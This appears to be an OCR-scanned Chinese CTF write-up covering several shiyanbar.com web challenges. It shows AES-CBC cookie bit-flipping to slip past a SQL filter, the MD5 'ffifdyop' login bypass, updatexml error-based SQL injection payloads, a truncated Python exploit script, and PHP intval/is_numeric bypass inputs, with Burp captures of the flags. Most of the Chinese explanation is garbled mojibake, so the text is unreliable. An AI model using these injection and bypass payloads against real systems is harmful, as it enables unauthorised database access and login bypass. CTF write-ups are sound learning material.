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Writeup
] B 1 B 3
B H ¥ http://www.shiyanbar.con/ctf/2037

e H BRAES —A, Bt AR, HEERHMERERN.

D ctf5.shiyanbar.com/web/jiandan/index.php

Login Form

input id to login

hello

Login

MR — R


https://blog.csdn.net/weixin_30521649
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2593%258D%25E4%25BD%259C%25E7%25B3%25BB%25E7%25BB%259F&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/beijibing/p/10393217.html
http://www.shiyanbar.com/ctf/2037

Request Response
J Raw T Params THeaders Hex Raw | Headers | Hex | XML

POST /web/jiandan/index.php HTTP/1.1 \ HTTP/1.1 200 OK A
Host: ctf5.shiyanbar.com Date: Fri, 06 Jul 2018 02:43:36 GMT -
User—-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.13; Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
rv:60.0) Gecko/20100101 Firefox/60.0 P/5.3.29

text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q _ WqZJ3s62c%2FobuDu8us0Q%3D%3D
=0.8 Set-Cookie: | ]
Accept-Language: cipher=VGXvBGDMGONzLPCdigw80gQH1v68FykNPEcFJwP73%2B8%3D
zh-CN,zh;g=0.8,2zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2 Content-Length: 35

Connection: close )
Accept-Encoding: gzip, deflate Content-Type: text/html F
Referer: http://ctfS5.shiyanbar.com/web/jiandan/index.php
Content-Type: application/x-www-form-urlencoded <hl><center>Hello!</center></hl>
Content-Length: 21
Cookie: iv=zIjlKvE%2FJzEUS5GF0JjPGtKg%3D%3D; ﬂ

cipher=M21i01£fx%2BHZIm100%2BX3VeGeqASh%2BDp2r05jQgAgWYgQES3D
; Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1530840464;
Hm_lpvt_34d6£f7353ab0915a4c582e4516dffbc3=1530844943;
Hm_cv_34d6£7353ab0915a4c582e4516dffbe3=1*visitor*154661%2Cn
ickName%3A%E8%B0%81%E7%9A%84%E5%90%8A%E6%9C%80%ES5%A4%AT7;
PHPSESSID=s6ntvgt7lr7dqvdsvs2qj40d87

DNT: 1

Connection: close

Upgrade-Insecure—-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

id=hello&submit=Login
BABtest.php, KA index.phpHIIEE,

&1t;?php

define(&quot; SECRET_KEY&quot;, '**¥k¥ikkxskkt) .

define(&quot;METHOD&quot;, &quot;aes-128-cbc&quot;);

error_reporting(0);

include('conn.php'); function sqliCheck($str){ if(preg_match(&quot;/\\\|, |-|#]|=|~|union|like|procedure/i&qu

ARSI TR

1. ]/ ERIId, ST RB7REE, BikSQLIEAN, &%=, -. #. union. like. procedure®4%%, Wi
FIX S HURFRF, N4 E#diedtiR[F & RSl inject detected.

2. @it uEmid, RGBSR EFHAME: ivEcipher. iv: BENLAERK16AE, HLidbase644H5. cipher: id
ok, MEMSECRET _KEY (3THE) . LEBEIMiIVE, =#%itaes-128-cbcin® 5 Fcipherfi. R4 34T
iv. cipheri & #|cookiesR 5k [El, JFfELERT —Hello!

3. R PostA iR % 2 MR L, ¥ 8HEId, 1 Hcookie EAivAlcipher(d, Mk &K ¥ishow _homepage();

4. show_homepage() KBS #E: Kiiv. cipherZidbase64f#td, AREEMKKSECRET _KEY (FTHE) . iv.
cipherZitaes-128-cbcfig#, #5%plain.

5. iR plainkiE R 54k, Ndiedtik Flplainfbase644mid g ; R AT UFFI4L, NPKidlE B Rsqligf)
H“select * from users limit .$info['id'] ,0”, FRAZBIEIEE, REHIE, FHHEREFHelo)s

RERFRAESHT, BATH B AR LIsqiEN, BB H) A ARz AT LRI EIFlag T . B #T#IsqliEa)h

"

$sql="select * from users limit ".$info['id'].",0";

WH#Esqligf), WLHFAER, XLEAKEHREIFOKICTE, BRIEGEHITIEN, KBEHEK, o3, 715
IRELEZHE, wfFEAIER]L, 1004,

HTEET#. ——, BBk 200, FBurp Repeatersif, #id=1 200, posti@zr, )5 &[E Kiv.
cipherfil, 1EA%E —ikMcookie, #RJ5 P id= GXFEEMHERE 2 F AR RdSHAEE, WIRE]
cookie B () & FE/E N B M S L, TMicookieW KIME N E—RFIEHME) , Fikpost, 4REER

FlHello!rootzze



nTrE

Request

J Raw I Params THeaders Hex

Response

Raw | Headers | Hex | XML

POST /web/jiandan/index.php HTTP/1.1 A HTTP/1.1 200 OK N
Host: ctf5.shiyanbar.com . Date: Sat, 07 Jul 2018 13:59:45 GMT r
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.13; Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
rv:60.0) Gecko/20100101 Firefox/60.0 X-Powered-By: PHP/5.3.29
Accept: TIPSt Cest.plp
text/html,application/xhtml+xml,application/xml;qg=0.9,%/*;q Set-Cookie: iv=PfcCN33I74Iw7GwN6x3NTw%3D%3D
=0.8 Set-Cookie:
Accept-Language: cipher=84WPnk%2FgAQwVRriZRbKgzNymc4RPynCzpPatIJov5£4%3D
zh-CN,zh;g=0.8,2zh-TW;g=0.7,2h-HK;g=0.5,en-US;g=0.3,en;g=0.2 EEASAT21% s a s ml s sas v e
Connection: close
Accept-Encoding: gzip, deflate Content-Type: text/html
Referer: http://ctf5.shiyanbar.com/web/jiandan/index.php
Content-Type: application/x-www-form-urlencoded <hl><center>Hello!</center></hl>
Content-Length: 21
Cookie: i1v=zIjlKvE%$2FJzEUS5GF0jPGtKg%3D%3D; fl
cipher=M2i01fx%2BHZIm100%2BX3VeGeqASh%2BDp2r05jQgAgWYgQES3D
; Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1530840464;
Hm_ lpvt 34d6f7353ab0915a4c582e4516dffbc3=1530844943;
Hm cv_34d6£f7353ab0915a4c582e4516dffbe3=1*visitor*154661%2Cn
ickName%3A%E8%B0%81%E7%9A%84%E5%90%8A%E6%9C%80%E5%A4%A7;
PHPSESSID=sé6ntvgt7lr7dqvdsvs2qj40d87
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
trol: no-cache
ubmit=Login
. N NN TR
Hecookiet% R ik 25 45 Bt B E R BT W B
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | XML
POST /web/jiandan/index.php HTTP/1.1 z HTTP/1.1 200 OK a

Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.13;
rv:60.0) Gecko/20100101 Firefox/60.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q
=0.8

Accept-Language:
zh-CN,zh;g=0.8,2zh-TW;g=0.7,2zh-HK;g=0.5,en-US;g=0.3,en;gq=0.2

Accept-Encoding: gzip, deflate
Referer: http://ctf5.shiyanbar.com/web/jiandan/index.php
Content-Type: application/x-www-form-urlencoded

Lo Ly

Cookie: 1v=PfcCN33I74Iw7GwN6x3NTw%3D%3D;
cipher=84WPnk%2FgAQwVRriZRbKqzNymc4RPynCzpPatIJov5£f4%3D;
ﬂlll_J_Vt_J‘kQOJ.IJJJdDUJJ. daCo0482 010Ul IDCO=100U0aUatay
Hm_lpvt_34d6£f7353ab0915a4c582e4516dffbc3=1530844943;
Hm_cv_34d6£f7353ab0915a4c582e4516dffbe3=1*visitor*154661%2Cn
ickName%$3A%E8%B0%81%E7%9A%84%E5%90%8AE6%9C%80%E5%A4%A7;
PHPSESSID=sé6ntvgt71r7dgvdsvs2qj40d87

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

BeA % Eflag, HEMZEIREUEAE S —KIRId, #7739, (EE%E ZIREXivilcipherfs, RASHTIER,

Date: Sat, 07 Jul 2018 14:00:10 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29

tips: test.php

Content-Length: 41

Connection: close

Content-Type: text/html

<hl><center>Hello!rootzz</center></hl>

i FcocBli e — N BT W (CRIE— W USRS AL I RIdE, 25851 cocll B Bt f — 70 % BB r

FRAIBBCARNBER), EBIsqiEANEHKD -
R BELTTIEENFISQLIER, Wid=12.

B XRZBFplain (MRET BT UEEE) .

o bk wbdh =

i FH BRI A

2418 Five cipher, FcbcE ¥ ciphertt Mid=12F2/)74, 8B cipher_new, #Ziv. cipher_new.

fivs plain, id=12"FFE—1T (A6NFTHR—1T) , HITRBERME, FEliv_new.
fiv_new. cipher_new, Z#id=xx postZIik52EEIAIB 2] id=1# &R, ElHello!rootzz.



#!/usr/bin/env python
#-*- coding: utf-8 -*-

@Author : darkNete

@Create date : 2018-07-07
@description : PUBRHELMEE
@Update date :

from base64 import * import urllib import requests import re def denglu(payload,idx,cl,c2): url=r'http://ct

(EEIEES

<hl><center>Hello!rootzz</center></hl> <hl><center>Hello!2</center></h1l> <hl><center>Hello!users,you_want</

S

* https://www.jianshu.com/p/4c1e5d24d781 .

* https://blog.csdn.net/csu_vc/article/details/79619309 .

* https://blog.csdn.net/jeffreynnn/article/details/77100389 .

BEEEXR
BB $E#& http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

WA H AMDS I R ISoLIEN, &% https://blog.csdn.net/greyfreedonvarticle/details/45846137 , F:A &
BN

4 RFE F) sql = &quot;SELECT * FROM admin WHERE pass =
&#x27;&quot;.md5(sql="SELECT*FROMadminWHEREpass=""-md5(password,true).""; iX#—"-sql, HEALLEN. B
B AT, Hmd5/EhexE AR B, WREE 'or' XENERS, FURBER - REBmISELE B
‘or 'WFEMFE, MW UEIEANRIERER, SHEXFE-NFRELiftdyop, mdb
JG276£722736c95d99e921722cf9%ed621c, BERFERHE: 'or'6.

'y BHERREEA

5 B 55 #2 http://ctf5.shiyanbar.com/web/baocuo/index.php
FTAMIEFERRBEH T XERER.

<center><hl>Please login!</hl></center><br><center>tips:post username and password...</center>
<!-- $sql="select * from users where username='$username’' and password='$password'"; -->



Al LUE Bl sqliE A) # X usernamefllpassword.

MWRE BRI AsqiEAEW, HE A5, FHusername=admin' or 'l&amp;password=admin® PRI
BRT, WHABKEIFAEGFlag, HAflagh AR ES, TEHTRE. £HbpF HfuzZ #fxfusername
Fipassword 3 Al #EAT R .

K Blusernameid i€ T (V&R S, (HREEA T updatexml, passwordid ¥ T updatexml, Fibh, HE—TF, AL
18 X REIRE A HEAT IR TEN

username=1' and updatexml/*&password=*/(1,concat(0x7e, (SELECT database()),0x7e),1)or'1
BiNsqliBaA:

select * from users where username=''1l"' and updatexml/* and password='*/(1,concat(®x7e, (SELECT database()),

5¢ % payload

username=1' and updatexml/*&amp;password=*/(1,concat(0x7e, (SELECT database()),0x7e),1)or'l <br>XPATH syntax

NE—A!
5 B 5 #2 http://shiyanbar.com/ctf/2009
ZIEHE, EEWRXT—T.

ZRER, REETZSEHTIEN, RERIEEFEFHflag. 5&#T—Tfuzz, B8RP AB02MHRHTIE
K75 o

S HAMRNK, ZEENor thikiT TAE, FEMARNERY, Bor. HREHHETET, AH2%09%
B A, A jGinformationtt4 B R #MEEHE, (HRERInformationh & &or, REFME. 5E— N _/40EBHE
FABI T, B4k Bllimitioffsetii®s . #RJ5E 254 T substr, HERANIEAEmMId, Fmid(table from offset)BI AT,
EREERA.

# -*- coding: utf-8 -*-

import requests

import urllib

url = "http://ctf5.shiyanbar.com/web/earnest/index.php"’

temp = @ headers = { "Host": "ctf5.shiyanbar.com", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64;

R E ¥ = PHPY
5 B %% http://shiyanbar.convctf/2008



P E RGBS —PMRR, BE6c525af405904fe7d8c33a. txt 3 .

&« C' (@ ctf5.shiyanbar.com/web/PHP/index.php B e Py » =
have a fun!!

v OEER D#Efla OEdss {(IHXEEE O ME = ME » B e X
Ty T8 URL I (#$ER% (2EEE IR : HARS

FiE HTML CSS JS XHR ==& EiE E& ws Hit

K& Ak Xt 7 R IRk RE &4 K

index.php fa ctf5.shi..document  html 285 FY

@ 1M™ER BEMmI12FT/285FT 52 23E®  DOMContentLoaded: 42 Z#  load: 55 Z#

[E H8k Cookie S¥ MWE H EKRR
JERFAE: http://ctf5.shiyanbar.com/web/PHP/index. php
BERFE: GET
iZiEibht: 106.2.25.10:80
RE8: ® HENER [Rask
hR4s: HTTP/1.1
PUNEN ISR
MR (273 F19)
Connection: Keep-Alive
Content-Length: 12
Content-Type: text/html

Date: Mopn, 09 018 01:4/7:10 GM

hint: 6¢525af4059b4fe7d8c33a.txt

eep-Alive: timeout=5, max=98

BEE R index. phpHIRATE, BEATHI.

<?php

$info = "";
$req = [];

$flag=""xxxxxxxxxx";

ini_set("display_error", false); error_reporting(0); if(!isset($_POST[ 'number'])){ header("hint:6c525af4059



ZidHHRATT AR I B RAIEE Fflag, POST Hinumberds s & UL T %4
1. A%, BARR—IMERET, 85/ (His_numericik ZHIHT) o

2. RegR—ANE 3 #. (is_palindrome_number#I#r) .

3. EH R BEERM ZANE AR S BEREHRS.

TS PR R
F A intvalg $i t 58t

Intval eR 53R B AR 2= B 401

Intvali KEFMERUR FEIERZ. 32 M RAR KW/ SH integer YEFEIE -2147483648 3| 2147483647 . 254,
EXFERRZ L, intval(*1000000000000’) iR [B] 2147483647. 64 S 74, KW RS H integer {E 2
9223372036854775807 .

BT B HBRAANTE RSS2 R R AR 3201, BTUARRMNIM1E2147483647 51 7] DA E B 22, 3%, B
FRFATPAGEITis _numericHI BT (11%00,%20) BT AR ATT#I i PA Fpoc, number=2147483647%00 F
number=2147483647%20%% 7]

T E—ANFME, BRAOTTFEMRIER LRI poct R BAIWI AIESE, BENAEWMEENEE, HETLAEET
SR I

T 453 MR IR & Blis_numericil Bt 25 F4/5%00, T it 5& %00 e /i Jo &5 AT LA W Al , 1 %202 ¥ 775
ReeESEE. Fitl, BFRBERMIZRETN THE - N ARSI TR FZ AN, BEEmrA

B!

[ Raw ] params [ Headers | Hex | [ Raw [ Headers | Hex |

POST /web/PHP/index.php HTTP/1.1 A HTTP/1.1 200 OK

Host: ctf5.shiyanbar.com r Date: Mon, 09 Jul 2018 02:24:13 GMT

User—Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.13; Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
rv:6l.0) Gecko/20100101 Firefox/61.0 X-Powered-By: PHP/5.3.29

Accept: Content-Length: 26
text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q Connection: close

=0.8 Content-Type: text/html

Accept-Language:

zh-CN,zh;g=0.8,2zh-TW;g=0.7,2zh-HK;g=0.5,en-US;g=0.3,en;g=0.2 FLAG{2dd8711082fe24c19ae8}

Accept-Encoding: gzip, deflate

Referer: http://ctf5.shiyanbar.com/web/PHP/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

Cookie: ﬂ
Hm_lvt_34d6£7353ab0915a4c582e4516dffbc3=1530840464;

Hm cv_34d6f7353ab0915a4c582e4516dffbe3=1*visitor*154661%2Cn
ickName$3A%SE8%B0%81%E7%9A%84%E5%90%8A%E6%9C%80%E5%A4%A7
DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

number=%00[2147483647

BT Bk 1 0=0



BN ERA RN B SCH, (H B2

intval(req[&quot;number&quot;])=intval(strrev(req["number"])=intval(strrev(req["number"])), B LARATIF B L2
HHEER i pocnumber=0e-0%00, X#EREERA T A LA .

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

POST /web/PHP/index.php HTTP/1.1
Host: ctfS5.shiyanbar.com

User-Agent: Mozilla/5.0 (Macintosh;
rv:61.0) Gecko/20100101 Firefox/61.0
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,*/*;gq
=0.8

Accept-Language:
zh-CN,zh;gq=0.8,2zh-TW;g=0.7,2h-HK;g=0.5,en-US;g=0.3,en;g=0.2

Intel Mac 0S X 10.13;

Accept-Encoding: gzip, deflate

Referer: http://ctf5.shiyanbar.com/web/PHP/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

Cookie:
Hm_lvt_34d6£f7353ab0915a4c582e4516dffbe3=1530840464;
Hm_cv_34d6£7353ab0915a4c582e4516dffbe3=1*visitor*154661%2Cn
ickName$3A%E8%B0%81%E7%9A%84%E5%90%8A%E6%9C%80%E5%A4%A7
DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

number=0e-0%00|

MR E

¥, T https://www.cnblogs.com/beijibing/p/10393217 .html

T

HTTP/1.1 200 OK

Date: Mon, 09 Jul 2018 02:24:42 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29

Content-Length: 26

Connection: close

Content-Type: text/html

FLAG{2dd8711082fe24cl9%ae8}
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